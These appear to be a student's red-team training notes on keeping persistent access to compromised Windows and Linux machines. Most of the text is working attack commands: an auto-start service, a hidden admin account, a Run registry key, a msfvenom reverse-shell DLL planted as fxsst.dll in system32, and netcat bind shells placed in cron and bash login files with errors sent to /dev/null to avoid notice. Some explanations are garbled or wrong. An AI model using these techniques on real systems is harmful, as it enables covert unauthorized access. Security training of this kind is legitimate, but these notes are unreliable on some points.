**Persistence**

Keeping access to the machine after gaining access

* Another word for backdooring
* Clean and dirty

Clean

* Seamless to user
* Doesn’t cause errors or crashes
  + DLL backdooring (instead of replacing)
  + Creating a new service
  + Application on startup

As long as **app runs in background** and doesn’t display any GUI on the screen, then this is considered clean

Dirty

* Obvious to user
* Causes errors/crashes
* Last resort
  + DLL replacement
  + Application Shimms
  + Accessibility feature
* Any dirty persistence can be made clean with enough knowledge

**Windows Persistence**

Creating a persistent service

* Sc create secret BinPath= “C:/secret.exe” start= auto
* Sc is service create
* Start= auto, is start automatically on startup

Activate service

* Sc query secret
  + Will show info of secret
* Sc qs secret
  + Creates the query config to activate service
* Sc delete secret
  + Deletes the file

**Creating a new user**

* Net user RedTeam /add \*
* \* Allows you to (re)set password
* **Hw – try to find another way to add a user with a password**
* Net localgroup administrators RedTeam /add
  + Adds user to local admin group

**Creating a new registry key**

Tell windows, when it stars up an app, to use this registry key instead to start the application

* REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v “secret” /t REG\_SZ /f /d “C:\secret.exe”
* /f overwrites any file currently called secret

This adds the registry to the path location

* You’ll want this to be under a specific user like admin, rather than the system user

**DLL preloading**

Create a binary DLL with same name as one that’s on the system and then replace it

* Msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<addr> LPORT=<port> -f dll > fxsst.dll
  + -f for dll
  + Creating a standard 64-bit reverse tcp shell
  + Fxsst.ddl is the fax service which will be a bit more lowkey as no one will usually be looking at the fax service compared to a http service
* Ls -l #shows files in local dirs.
* Lcd /dir #changes dirs locally
* Copy fxsst.ddl C:\windows\system32
  + Gets file into system32

**Linux Persistence**

**Look at crontab**

* Creating a constantly open listening port to shell into

Text

Description automatically generated

This process starts at 5am every day

The last line of code

* Changes the process to start every 5 minutes
* The process is a listening for a bash shell connection on port on 4444, with netcat

**This will try to make a new connection every 5 minutes to port 4444 that the attacker can connect to**

**Modifying bash\_rc and bash\_profile**

In the home directory: /.bash\_profile (mac, windows)

* /.bash\_rc (linux)

When you login, this file is executed, so if we modify it then our code will be executed on start up

* Nc -lvp 4444 -e /bin/bash &
  + #Write at bottom of file
* Creates a listening port and kick it to background (&) so the login doesn’t hang and be made obvious
* Can write any binary you want

On top of this, **output your errors into /dev/null** so that you can hide your errors or any failed attempts so that the user doesn’t see it

Adding a user

* Useradd admin
* Passwd admin
* Set user and password
* Usermod -aG root admin #Changes admin to root group

**Create a service that starts on startup**

Redteamnation has a secretservice file (service) that can be modified

* Vi /etc/init.d/secretservice #Opens the file so that you can edit it
* There is a file in the function of secretservice called secret.sh which is what kicks off the shell
* Chmod 777 secret.sh #gives the file root permissions
* /etc/init.d/secretservice status
  + #Shows if its running
* Start
* #Return – ‘Payload sent’
* /etc/init.d/secretservice stop
  + #Stops the process